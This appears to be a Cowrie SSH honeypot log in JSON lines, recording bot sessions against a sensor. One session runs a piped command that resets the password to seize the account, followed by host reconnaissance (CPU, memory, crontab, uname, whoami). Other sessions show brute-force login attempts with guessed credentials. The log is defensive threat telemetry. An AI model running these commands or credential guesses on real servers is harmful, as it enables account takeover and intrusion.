{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/0a54d1866b1920cedec5702cf393e34fe1b7664c74bb7a771c977ff5afd2bea9","size":32,"shasum":"0a54d1866b1920cedec5702cf393e34fe1b7664c74bb7a771c977ff5afd2bea9","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/0a54d1866b1920cedec5702cf393e34fe1b7664c74bb7a771c977ff5afd2bea9 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:25.047765Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:25.265594Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"rootadmin\\noXdTFr2nYtFN\\noXdTFr2nYtFN\\n\"|passwd","message":"CMD: echo \"rootadmin\\noXdTFr2nYtFN\\noXdTFr2nYtFN\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:25.268100Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ca7567837b48fb10412849db8372f9872067fc5935206bff604355866819f6af","size":25,"shasum":"ca7567837b48fb10412849db8372f9872067fc5935206bff604355866819f6af","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ca7567837b48fb10412849db8372f9872067fc5935206bff604355866819f6af after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:25.358617Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:25.623387Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:25.627177Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:25.721199Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:25.947784Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:25.950929Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:26.043304Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:26.263253Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:26.266595Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:26.269906Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:26.370014Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:26.593793Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:26.596830Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:26.690760Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:26.909987Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:26.913625Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:27.007372Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:27.234300Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:27.237759Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:27.330905Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:27.550995Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:27.555043Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:27.649682Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:27.880859Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:27.884589Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:27.981557Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:28.230420Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:28.233681Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:28.328644Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:28.808707Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:28.812036Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:28.907702Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:29.137907Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:29.141884Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:29.241383Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:29.466941Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:29.470222Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:29.561382Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:29.783502Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:29.787029Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:29.880917Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:29.886584Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":47102,"dst_ip":"159.203.135.109","dst_port":22,"session":"e780131b4f0c","protocol":"ssh","message":"New connection: 194.59.206.2:47102 (159.203.135.109:22) [session: e780131b4f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:25:15.158292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:25:15.163385Z","src_ip":"194.59.206.2","session":"e780131b4f0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:25:15.272625Z","src_ip":"194.59.206.2","session":"e780131b4f0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:25:15.391613Z","src_ip":"194.59.206.2","session":"e780131b4f0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":42736,"dst_ip":"159.203.135.109","dst_port":22,"session":"5de619cb235b","protocol":"ssh","message":"New connection: 103.189.208.13:42736 (159.203.135.109:22) [session: 5de619cb235b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:25:18.773255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:25:18.778736Z","src_ip":"103.189.208.13","session":"5de619cb235b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:25:19.030428Z","src_ip":"103.189.208.13","session":"5de619cb235b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx3edc","message":"login attempt [ubuntu/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:25:20.055212Z","src_ip":"103.189.208.13","session":"5de619cb235b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:25:21.307217Z","src_ip":"103.189.208.13","session":"5de619cb235b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":55606,"dst_ip":"159.203.135.109","dst_port":22,"session":"a57400bc7f9b","protocol":"ssh","message":"New connection: 190.242.109.42:55606 (159.203.135.109:22) [session: a57400bc7f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:25:27.335955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:25:27.340641Z","src_ip":"190.242.109.42","session":"a57400bc7f9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:25:27.441949Z","src_ip":"190.242.109.42","session":"a57400bc7f9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp_test","password":"password","message":"login attempt [ftp_test/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:25:27.879959Z","src_ip":"190.242.109.42","session":"a57400bc7f9b","protocol":"ssh"}
